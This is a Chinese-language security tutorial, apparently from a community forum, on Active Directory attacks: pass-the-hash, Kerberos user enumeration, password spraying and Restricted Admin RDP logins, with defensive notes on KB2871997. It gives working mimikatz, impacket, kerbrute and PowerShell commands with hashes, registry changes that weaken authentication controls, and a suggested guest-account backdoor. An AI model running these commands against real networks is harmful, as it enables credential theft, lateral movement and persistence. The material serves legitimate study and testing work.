
Kerberos相关攻击技巧(较全)

在笔者学习完 Kerberos 之后，对下图每⼀个知识点对应的攻击⽅

式以及其中的坑进⾏了总结。在本⽂中会介绍下⾯的每⼀种攻击⽅

法，但因篇幅问题在这⾥不会详细介绍 kerberos 的具体协议。请君

选取所爱部分进⾏学习，如⽂章略有⽂笔不好的地⽅，可对⽐其他

师傅的⽂章即可领悟。 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3249-ff7b8666-42e0-1.png)

hash 传递攻击 (PTH) ：哈希传递 (pth) 攻击是指攻击者可以通过捕

获密码的 hash 值(对应着密码的值), 然后简单地将其传递来进⾏身

份验证，以此来横向访问其他⽹络系统。

域外⽤户枚举：当我们不在域内时，可以通过 kerberos 中的

AS_REQ ⼯作原理来进⾏枚举域内账号。

密码喷洒攻击 (Password Spraying)：确定域策略后，设置密码次

数使⽤⼯具对应的协议爆破密码。

KB22871997 补丁与 PTH 攻击：看了多篇⽂章，在⽂章说了有些

先知社区，先知安全技术社区“

AS-REQ

https://xzfile.aliyuncs.com/media/upload/picture/20201221003249-ff7b8666-42e0-1.png


⼈认为 PTH ⽆法使⽤ sid 500 以外的⽤户登录，是因为打了

KB22871997 补丁所导致的。但是经过其他师傅的研究，发现并不

是。

Pass the Hash with Remote Desktop：当破解不出明⽂密码时，

可以通过 Hash 这种⽅式 3389 登录。

⻩⾦票据：获得域控权限后⽤来做 "万能钥匙" 后⻔ 

AS-REP Roasting 攻击：是⼀种对 "特定设置" ⽤户账号，进⾏离

线爆破的攻击⽅式。

SPN：SPN 全程 Service Principal Names，是服务器上所运⾏服

务的唯⼀标识，每个使⽤ kerberos 认证的服务都需要⼀个 SPN。 

Kerberosast 攻击：这种攻击⽅法主要利⽤了 TGT_REP 阶段使⽤

对⽅ NTLM Hash 返回的加密数据，通过碰撞加密数据破解⽤户密

码。 

⽩银票据：获取某域账号 HASH 之后，伪造服务票据 ST。通过伪

造的 TGS，可以直接发送给 Server，访问指定的某个服务，来进⾏

攻击。此过程⽆需 KDC。

⾮约束委派攻击：拿到⾮约束委派的主机权限，如能配合打印机

BUG。则可以直接拿到域控权限。 

约束委派攻击：拿到配置了约束委派的域账户或主机服务账户，就

能拿到它委派服务的 administrator 权限。 

基于资源的约束委派攻击：1. 如果拿到将主机加⼊域内的域账号，

即使是普通账号也可以拿到那些机器的 system 权限。 2.“烂番茄”

本地提权

PAC 与 Kerberos 的关系：PAC 是特权属性证书，⽤来向 Serber

端表明 Client 的权限。 

MS14-068：能够将任意⼀台域机器提升成域控相关权限

AS-REP

TGS-REP

S4U

PAC



哈希传递 (pth) 攻击是指攻击者可以通过捕获密码的 hash 值(对应

着密码的值), 然后简单地将其传递来进⾏身份验证，以此来横向访

问其他⽹络系统。 攻击者⽆须通过解密 hash 值来获取明⽂密码。

因为对于每个 Session hash 值都是固定的，除⾮密码被修改了(需

要刷新缓存才能⽣效)，所以 pth 可以利⽤身份验证协议来进⾏攻

击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

在 03 之后有了 uac，所以本地只有 sid 为 500 和 administrators

组⾥的域账户能 pth。域 Domain admin 默认在本地管理员组。但

是 sid 500 账户的权限好像会受到限制。当 uac 某设置为 1 时，本

地管理组内的⽤户都可以 pth，域不变。

修改注册表 改为 1

cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWOR
D /d 1 /f 

(1) mimikatz 交互式获取 

这种⽅法需要本地管理员权限

privilege::debug 
sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359
381d5cc84c 

(2) psexec 

在这⾥推荐使⽤ impacket 套装，有 exe 和 py 版本。获取的是

system 权限

psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e
00f780017:852a844adfce18f66009b4f14e0a98de 
python psexec.py  administrator@10.73.147.29   -hashes 624aac
413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de 

Hash 传递攻击 (PTH)

0x00 PTH 简介

0x01 PTH 限制

0x02 PTH 常⽤攻击⽅法



(3) wmiexec 

获取的是对⽅ hash 的权限，如下⾯为 administrator

python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08
eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3330-186dc882-42e1-1.png)

使⽤ CrackMapExec 来进⾏

https://www.freebuf.com/sectool/184573.html 

在看⽂章时遇到了很有趣的⼀点，说禁⽌ ntlm 认证那么 pth 就⽆

法使⽤了。这是错误的 

0x03 批量 PTH 攻击

0x04 PTH 所使⽤的认证协议实验

https://xzfile.aliyuncs.com/media/upload/picture/20201221003330-186dc882-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003340-1e5ca8f8-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3340-1e5ca8f8-42e1-1.png)

http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-t
he-Limitations-of-mitigation-methods/#pth%E6%94%BB%E5%87%BB%E
5%8E%9F%E7%90%86 

在这篇⽂章中对⽐的说明了 PTH 所使⽤的⽅法！

https://www.freebuf.com/articles/terminal/80186.html 

当我们机器处于域环境中时，如果客户端是以 IP 地址访问服务端

的，那么此使仍旧会使⽤ NTLM 协议进⾏身份认证，因为此时没有

提供 Server 的 SPN(server principal name)。

接下来会使⽤ psexec.py 来进⾏演示，因为它有⼀个 - k 参数。使

⽤ Kerberos 身份验证，根据⽬标参数从⽂件中获取凭证。如果获

取不到则从命令⾏指定参数中获取！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3349-232e5ade-42e1-1.png)

在这⾥写着⾸先会从⽂件中获取，如果找到了对应了凭证。那么则

可能不从参数中获取，导致失败！因此在这⾥可以先使⽤命令清除

凭证

klist 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003340-1e5ca8f8-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003349-232e5ade-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003356-277399ce-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3356-277399ce-42e1-1.png)

这时候使⽤命令去清除凭证

klist purge 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3403-2beef354-42e1-1.png)

之后在使⽤ psexec 就可以了，在这⾥需要注意域名、机器名！

python psexec.py bj.com/administrator@pc1.bj.com -k -hashes 6
24aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1
991 

接下来抓包演示！

实验环境 

在这⾥拿到了域控的 NTLM hash

08eb9761caca8f3c386962b5ad4b1991 

被攻击机器 192.168.20.3 bj.com\pc1 

攻击机 192.168.20. 66 sh\administrator(本地管理登录) 

使⽤⼯具 psexec.py

https://xzfile.aliyuncs.com/media/upload/picture/20201221003356-277399ce-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003403-2beef354-42e1-1.png


在这⾥执⾏命令，并开启抓包！

python psexec.py bj.com/administrator@pc1.bj.com -k -hashes 6
24aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1
991 

可以看到这种⽅式使⽤的就是 kerberos 认证！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3413-31f56256-42e1-1.png)

并且认证成功，我们已经 psexec 登录了！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3419-353e6ade-42e1-1.png)

么在这 来对 使 认

https://xzfile.aliyuncs.com/media/upload/picture/20201221003413-31f56256-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003419-353e6ade-42e1-1.png


那么在这⾥来对⽐⼀下，使⽤ IP 登录是否是 NTLM 认证！

python psexec.py administrator@192.168.20.3 -hashes 624aac413
795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3429-3b8f68a2-42e1-1.png)

可以从 wireshark 中详细的看到它是 NTLM 认证！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3435-3ee2db42-42e1-1.png)

因此 PTH 攻击不管是 NTLM 认证还是 Kerberos 认证都是存在

的！只是在不同的环境中使⽤的认证⽅式不同罢了！

参考链接

刨根问底：Hash传递攻击原理探究 
https://www freebuf com/articles/terminal/80186 html

https://xzfile.aliyuncs.com/media/upload/picture/20201221003429-3b8f68a2-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003435-3ee2db42-42e1-1.png


https://www.freebuf.com/articles/terminal/80186.html 

在域外也能和域进⾏交互的原因，是利⽤了 kerberos 协议认证中的

AS-REQ 阶段。只要我们能够访问域控 88(kerberos 服务) 端⼝，

就可以通过这种⽅式去枚举⽤户名并且进⾏ kerberos 协议的暴⼒破

解了！

相⽐于 LDAP 的暴⼒破解，这⾥ Kerbrute 使⽤的是 kerberos

pre-auth 协议，不会产⽣⼤量的⽇志 (4625 - An account failed

to log on)

但是会产⽣以下⽇志：

⼝令验证成功时产⽣⽇志 (4768 - A Kerberos

authentication ticket (TGT) was requested)

⼝令验证失败时产⽣⽇志 (4771 - Kerberos pre-

authentication failed)

下载地址：

https://github.com/ropnop/kerbrute/releases 

在这⾥我们需要获取 dc 的 ip，域名。将想要爆破的⽤户放⼊

user.txt 表中，这样就可以获取到了！

kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hack
e.testlab user.txt 

域外⽤户枚举

0x00 原理分析

0x01 攻击优势

0x02 攻击⽅法

kerbrute_windows_amd64.exe

https://xzfile.aliyuncs.com/media/upload/picture/20201221003450-481ed53a-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3450-481ed53a-42e1-1.png)

在我们获取到⽤户名后，可以将它⽤来爆破！

kerbrute_windows_amd64.exe passwordspray -d hacke.testlab use
r.txt QWE123!@# 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003450-481ed53a-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003457-4bb62ffe-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3457-4bb62ffe-42e1-1.png)

如果登陆成功，会产⽣⽇志 (4768 - A kerberos authentication

ticket(TGT) was requested)：如下图 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3504-502dcb14-42e1-1.png)

下载链接

https://github.com/3gstudent/pyKerbrute 

此⼯具是三好学⽣师傅写的 py 版本的枚举爆破⼯具，相⽐于

kerbrute，多了以下两个攻击！

增加对 TCP 协议的⽀持

增加对 NTLM hash 的验证

此⼯具分为⽤户枚举和⼝令验证两个功能。

1.EnumADUser.py

PY 版本 pyKerbrute

https://xzfile.aliyuncs.com/media/upload/picture/20201221003457-4bb62ffe-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003504-502dcb14-42e1-1.png


进⾏⽤户枚举，⽀持 TCP 和 UDP 协议。

命令实例：

python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp 
python2 EnumADUser.py 192.168.60.1 test.com user.txt udp 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3513-55497314-42e1-1.png)

2.ADPwdSpray.py

这个脚本进⾏⼝令破解功能，⽀持 TCP 和 UDP 协议，⽀持明⽂⼝

令和 NTLM hash

使⽤明⽂密码：

python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt cle
arpassword QWE123!@# tcp 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

https://xzfile.aliyuncs.com/media/upload/picture/20201221003513-55497314-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003518-589284b6-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3518-589284b6-42e1-1.png)

使⽤ hash：

python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntl
mhash 35c83173a6fb6d142b0359381d5cc84c udp 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3523-5b9794da-42e1-1.png)

参考链接：

https://mp.weixin.qq.com/s/-V1gEpdsUExwU5Fza2YzrA 
https://mp.weixin.qq.com/s/vYeR9FDRUfN2ZczmF68vZQ 
https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247496
592&idx=2&sn=3805d213ba1013e320f48169516c2ca3&chksm=e91523aad
e62aabc21ebca36a5216f63ec0d4c61e3dd1b4632c10adbb85dfde07e6897
897fa5&scene=21#wechat_redirect 
https://blog.csdn.net/weixin_41598660/article/details/1091520
77 
https://xz.aliyun.com/t/7724#toc-4 
https://github.com/PowerShellMafia/PowerSploit/blob/master/Re
con/PowerView.ps1
http://hackergu.com/ad-information-search-powerview/ 
https://www.freebuf.com/news/173366.html 
https://www.cnblogs.com/mrhonest/p/13372203.html 
https://payloads.online/scripts/Invoke-DomainPasswordSpray.tx
t 
https://github.com/dafthack/DomainPasswordSpray 
https://blog.csdn.net/qq_36119192/article/details/105088239 
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/k
erbrute_windows_amd64.exe 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003518-589284b6-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003523-5b9794da-42e1-1.png


关于密码喷洒，笔者⼀开始的感觉应该是系统默认开启了次数。但

是后来发现这个策略问题需要我们设置才会开启。net accounts

/domain 所设置的策略问题，实验环境 12 默认没有阈值，导致爆

破⼀直不被锁定。 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3530-5f8f20bc-42e1-1.png)

DomainPasswordSpray.ps1 是⽤ PowerShell 编写的⼯具，⽤于对

域⽤户执⾏密码喷洒攻击。默认情况下它将利⽤ LDAP 从域中导出

⽤户列表，然后扣掉被锁定的⽤户，再⽤固定密码进⾏密码喷洒。

需要使⽤域权限账户

下载链接：

GitHub项⽬地址：https://github.com/dafthack/DomainPasswordSpray 

在这⾥作者进⾏了脚本修改

优化后的地址：http://payloads.online/scripts/Invoke-DomainPasswo
rdSpray.txt 

描述：该模块主要⽤于从域中收集⽤户列表

密码喷洒攻击 (Password Spraying)

0x00 前⾔

0x01 ⼯具介绍

0x02 参数说明

https://xzfile.aliyuncs.com/media/upload/picture/20201221003530-5f8f20bc-42e1-1.png


参数 功能

Domain 指定要测试的域名

RemoveDisabled 尝试从⽤户列表删除禁⽤的账户

RemovePotentialLockouts 删除锁定账户

UserList
⾃定义⽤户列表 (字典)。

如果未指定，将从域中获取

Password 指定单个密码进⾏⼝令测试

PasswordList 指定⼀个密码字典

OutFile 将结果保存到某个⽂件

Force
当枚举出第⼀个后继续枚举，

不询问

从域中收集⽤户列表

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\HTWO\Desktop\DomainPasswordSpray.ps1;Get-DomainUserList}" 

0x03 使⽤说明

https://xzfile.aliyuncs.com/media/upload/picture/20201221003541-6611e834-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3541-6611e834-42e1-1.png)

从域中收集⽤户列表, 包括任何未禁⽤且未接近锁定状态的账户。它

会将结果写⼊ "userlist.txt" ⽂件中

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\HTWO\Desktop\DomainPasswordSpray.ps1; Get-DomainUserList -
Domain hacke.testlab -RemoveDisabled -RemovePotentialLockouts 
| Out-File -Encoding ascii userlist.txt }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3553-6d61366c-42e1-1.png)

从域环境中获取⽤户名，然后使⽤密码 QWE123!@# 进⾏认证枚举

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\HTWO\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPassword
Spray -Password QWE123!@#}" 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003541-6611e834-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003553-6d61366c-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003601-725808b2-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3601-725808b2-42e1-1.png)

从 user.txt 中提取⽤户名，与 passlist.txt 中的密码对照成⼀对⼝

令，进⾏域认证枚举，登录成功后会输出到 sprayed-creds.txt

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\HTWO\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPassword
Spray -Domain hacke.testlab -Password QWE123!@# -OutFile spra
yed-creds.txt}" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3608-76064a8c-42e1-1.png)

参考链接：

https://www.cnblogs.com/mrhonest/p/13372203.html 
https://www.chabug.org/tools/411.html 
https://www.freebuf.com/news/173366.html 
https://mp.weixin.qq.com/s/vYeR9FDRUfN2ZczmF68vZQ 

在这⾥⼤部分引⽤此⽂章

KB22871997 补丁与 PTH 攻击

https://www.freebuf.com/articles/system/220473.html

(https://www.freebuf.com/articles/system/220473.htm

l)

https://xzfile.aliyuncs.com/media/upload/picture/20201221003601-725808b2-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003608-76064a8c-42e1-1.png
https://www.freebuf.com/articles/system/220473.html


看了多篇⽂章，在⽂章说了有些⼈认为 PTH ⽆法使⽤ sid 500 以

外的⽤户登录，是因为打了 KB22871997 补丁所导致的。但是经过

其他师傅的研究，发现并不是。

⾸先看⼀下未安装补丁的情况，其中本地管理员组有三个帐户，主

机名为 TESTWIN7，所在域为 TEST.LOCAL：

administrator是RID为500的本地管理员账号 
testpth是RID⾮500的本地账号 
TEST\xxm为加⼊了本地Administrators组的域帐户 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3632-847ad3a8-42e1-1.png)

⾸先使⽤本地账户 administrator: 

0x00 前⾔

0x01 KB2871997 安装前后测试

https://xzfile.aliyuncs.com/media/upload/picture/20201221003632-847ad3a8-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003639-8898a1c2-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3639-8898a1c2-42e1-1.png)

使⽤本地管理组账户 testpth: 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3645-8ca2ff74-42e1-1.png)

使⽤域⽤户 xxm: 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003639-8898a1c2-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003645-8ca2ff74-42e1-1.png


使⽤域⽤户 xxm: 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3650-8fa12156-42e1-1.png)

这⾥可以看到： 

本地账户 administrator 成功，本地管理员账户 testpth 失败，域

⽤户 xxm 成功。

再来看⼀下安装补丁之后： 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003650-8fa12156-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003658-942a98ba-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3658-942a98ba-42e1-1.png)

使⽤本地账户 administrator: 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3706-99010658-42e1-1.png)

使⽤本地账户 testpth: 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3711-9c2881ee-42e1-1.png)

https://xzfile.aliyuncs.com/media/upload/picture/20201221003658-942a98ba-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003706-99010658-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003711-9c2881ee-42e1-1.png


使⽤域账户 xxm: 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3716-9ed7b4c8-42e1-1.png)

在这⾥可以看到安装 KB2871997 前后的对⽐发现并没有任何区

别。⽽之前⾮ administrator 的本地管理员 Pass The Hash 失败被

⼀些观点认为 KB2871997 的作⽤，但这实际上因为远程访问和

UAC 的限制！

UAC 是 window Vista 的新安全组件，2003 版本是没有的。所以

2003 管理组内的⽤户还是可以⽹络登录的，⽽ 03 之后的 win7

win8 win10 2008 2012 2012R2 2016 2019 本地都是只能 sid 为

500 的允许⽹络远程访问！

windows 历史

* Windows NT 3.1、3.5、3.51 
* Windows NT 4.0 
* Windows 2000（Windows NT 5.0） 
* Windows XP（Windows NT 5.1） 
* Windows Server 2003（Windows NT 5.2） 
* Wi d Vi t （Wi d NT 6 0）

0x02 远程访问和 UAC

https://xzfile.aliyuncs.com/media/upload/picture/20201221003716-9ed7b4c8-42e1-1.png


* Windows Vista（Windows NT 6.0） 
* Windows Server 2008（Windows NT 6.0） 
* Windows 7（Windows NT 6.1） 
* Windows Server 2008 R2（Windows NT 6.1） 
* Windows Home Server 
* Windows 8（Windows NT 6.2） 
* Windows Server 2012（Windows NT 6.2） 
* Windows 8.1（Windows NT 6.3） 
* Windows Server 2012 R2（Windows NT 6.3） 
* Windows 10（开发初期：Windows NT 6.4，现NT 10.0） 
* Windows Server 2016 (Windows NT 10) 
* Windows Server 2019 (Windows NT 10) 

可以在途中看到 Windows 中 administrator 的 RID 为 500，并且

是唯⼀的。同样为管理员组的本地账户的 testpth 的 RID 的值为

1000. 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3724-a38e47fc-42e1-1.png)

⽽域账号 xxm 使⽤的是域内的 SID 号 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3728-a5e8d4a4-42e1-1.png)

根据微软官⽅关于远程访问和⽤户账户控制的相关⽂档可以了解

到，UAC 为了更好的保护 Administrators 组的账户，会在⽹络上

进⾏限制。

https://support.microsoft.com/en-us/help/951016/description-o
f-user-account-control-and-remote-restrictions-in-windows 

在使⽤本地⽤户进⾏远程登录时不会使⽤完全管理员权限，但是在

https://xzfile.aliyuncs.com/media/upload/picture/20201221003724-a38e47fc-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003728-a5e8d4a4-42e1-1.png


域⽤户被加⼊到本地管理组员组后，域⽤户可以使⽤完全管理员的

AccessToken 运⾏。并且 UAC 不会⽣效，简⽽⾔之就是除了 sid

500 的⽤户之外可以 PTH 登录之外就是加⼊本地管理员组的域⽤

户！

(1) 完全禁⽌ PTH 登录

在注册表中的 FilterAdministratorToken 设置为 1，路径为：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\Policies\System 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3735-aa455e64-42e1-1.png)

修改之后策略会⽴即⽣效，administrator 的远程连接也被拒绝了 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003735-aa455e64-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003745-b051a7cc-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3745-b051a7cc-42e1-1.png)

(2) 禁⽤ UAC 让管理组本地成员登录

这⼀点可以当作后⻔，当我们拿下机器后可以把 guest 加⼊管理员

组并禁⽤ UAC！ 

官⽅⽂档如下:

https://support.microsoft.com/en-us/help/951016/description-o
f-user-account-control-and-remote-restrictions-in-windows 

可以通过修改注册表中的 LocalAccountTokenFilterPolicy 选项的

键值来进⾏更改。注册表路径为

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\Policies\System 

但是这⼀条⼀般没有，需要我们去⾃⼰设置！将起值修改为 1 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3758-b8191d32-42e1-1.png)

这样就可以使⽤本地组管理员登录⽹络登录了！也就可以 PTH 了 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003745-b051a7cc-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003758-b8191d32-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003805-bbf589ae-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3805-bbf589ae-42e1-1.png)

此补丁具体更改点如下

⽀持 “ProtectedUsers” 组

Restricted Admin RDP 模式的远程桌⾯客户端⽀持

注销后删除 LSASS 中的凭据

添加两个新的 SID

LSASS 中删除明⽂凭证

对这个组其实挺陌⽣的，"ProtectedUsers" 组是 WindowsServer

2012 R2 域中的安全组，"ProtectedUsers" 组的成员会被强制使⽤

Kerberos 身份验证，并且对 Kerberos 强制执⾏ AES 加密！

0x03 KB2871997

⽀持 “ProtectedUsers” 组

https://xzfile.aliyuncs.com/media/upload/picture/20201221003805-bbf589ae-42e1-1.png


想要使⽤ mimikatz 抓取这个组的 hash，需要使⽤ sekurlsa:ekeys

这个模式在打了补丁后才有，是⼀种变种的 PTH 能够通过 Hash 登

录 3389。在另⼀篇笔记中做了介绍 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3820-c4bd4cc0-42e1-1.png)

在这个更新之前，08 什么的只要登陆过 lsass 内存中就会缓存明⽂

密码、登陆凭证等。但是在打了补丁或者 2012 win8 这种机器上只

要⽤户注销就都没了。

在更新后多了两个新的 SID:

1、本地账户，LOCAL_ACCOUNT(s-1-5-113)，所有本地账户继承此SID 
2、本地管理员组，LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROU
P(S-1-5-114)，所有本地管理员组继承此SID 

本来 2 中的 114 id 不是这样的介绍，但是在其他⽂章中写的是管理

员组账户。但是在他们实验中在管理员组中的域账号不会继承此

SID。

当然了之所以有这两个 SID，也是为了⽅便策略。⼀下⼦就可以对

本地账户进⾏区分管理！

如这样拒绝通过远程桌⾯服务登录

Restricted Admin RDP 模式的远程桌⾯客户端⽀持

注销后删除 LSASS 中的凭据

添加两个新的 SID

https://xzfile.aliyuncs.com/media/upload/picture/20201221003820-c4bd4cc0-42e1-1.png


如这样拒绝通过远程桌⾯服务登录 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3829-ca44db9a-42e1-1.png)

这样设置以后本地管理员组和本地账户都不可以登录了，⽽域管账

户可以登录！

这⾥涉及到了 Wdigest SSP，在此补丁出世之前。lsass 中由各种

SSP 保存明⽂密码！但是在补丁出现之后，就只有 Wdigest SSP

能保存密码了。⼀开始在这⾥我还不懂，知道搜索关键字找了以前

的笔记！ 

LSASS 中删除明⽂凭证

https://xzfile.aliyuncs.com/media/upload/picture/20201221003829-ca44db9a-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003837-ceec4a66-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3837-ceec4a66-42e1-1.png)

可以看到之前我所记录的 lsass 记录明⽂，修改的就是 Wdigest

SSP 的注册表！当然了，在这⾥还可以插⼊其他的 SSP 去记录明

⽂。在这⾥只是表达 Wdigest SSP 的作⽤！

将 FilterAdministratorToken 的值设置为 1，限制

administrator 账户也不能登录

可以使⽤脚本或⼈⼯定期查看

LocalAccountTokenFilterPolicy 是否有被攻击者修改过

在组策略中的 "拒绝从⽹络访问这台计算机" 将需要限制的

组、⽤户加⼊到列表中！

摘抄链接

在⼀般的渗透测试中，当我们拿到了某个⽤户的 NTLM Hash 的时

候。我们⼀般就直接去 PTH 了，但是除了 PTH 还有另外⼀种额外

的⽅法能够让我们 PTH 登录对⽅机器的 3389 服务。但是此条件有

些苛刻！

0x04 防御 PTH

https://www.freebuf.com/articles/system/220473.html

(https://www.freebuf.com/articles/system/220473.htm

l)

Pass the Hash with Remote Deskto
p

0x00 前⾔

0x01 简介

https://xzfile.aliyuncs.com/media/upload/picture/20201221003837-ceec4a66-42e1-1.png
https://www.freebuf.com/articles/system/220473.html


本⽂主要介绍以下内容：

Restricted Admin mode 介绍

Pass the Hash with Remote Desktop 的适⽤条件

Pass the Hash with Remote Desktop 的实现⽅法

官⽅说明：

https://blogs.technet.microsoft.com/kfalde/2013/08/14/restric
ted-admin-mode-for-rdp-in-windows-8-1-2012-r2/ 

适⽤系统：

⾼版本只⽀持 Windows 8.1 和 Windows Server 2012 R2

低版本需要打补丁 Windows 7 和 Windows Server 2008

R2 默认不⽀持，需要安装补丁 2871997、2973351

在这⾥形成这个漏洞的主要原因还是因为微软为了避免 PTH 攻击，

开发了 2871997 补丁导致的！win8 2012 默认包含了这个补丁，所

以不需要额外安装。⽽以前的版本则需要安装下补丁！

相关资料可参考：

https://docs.microsoft.com/en-us/security-updates/SecurityAdv
isories/2016/2871997 
https://support.microsoft.com/en-us/help/2973351/microsoft-se
curity-advisory-registry-update-to-improve-credentials-pro 

在这⾥需要有两个必要的元素！⾸先是受害者机器需要开启注册表

某⼀项，另⼀点是攻击机需要使⽤利⽤ PTH 登录的⼯具！

开启注册表

使⽤命令开启

0x01 简介

0x02 Restricted Admin mode 介绍

0x03 Pass the Hash with Remote Deskto

p 的实现⽅法



REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v Disabl
eRestrictedAdmin /t REG_DWORD /d 00000000 /f 

攻击机登录 

(1) 使⽤客户端命令⾏登录

mstsc.exe /restrictedadmin 

如果当前系统不⽀持 Restricted Admin mode，执⾏后弹出远程桌

⾯的参数说明，如下图 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3851-d747af34-42e1-1.png)

如果系统⽀持 Restricted Admin mode，执⾏后弹出登录桌⾯界

⾯，如下图 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003851-d747af34-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003856-da8f041c-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3856-da8f041c-42e1-1.png)

在这⾥登录只需要输⼊对⽅的 IP 即可！

(2) 使⽤ FreeRDP ⼯具来使⽤

他的旧版本⽀持 pth 登陆⽅式，下载链接：

https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz 

在这⾥笔者没有环境所以没有进⾏编译测试！

如果因为需求⼀定要登录 3389 的话，那可以通过这种⽅式在破解

不出明⽂的情况下登录。

测试环境 

Server

IP:192.168. 52.129

OS:2012 R2

0x04 实际环境测试

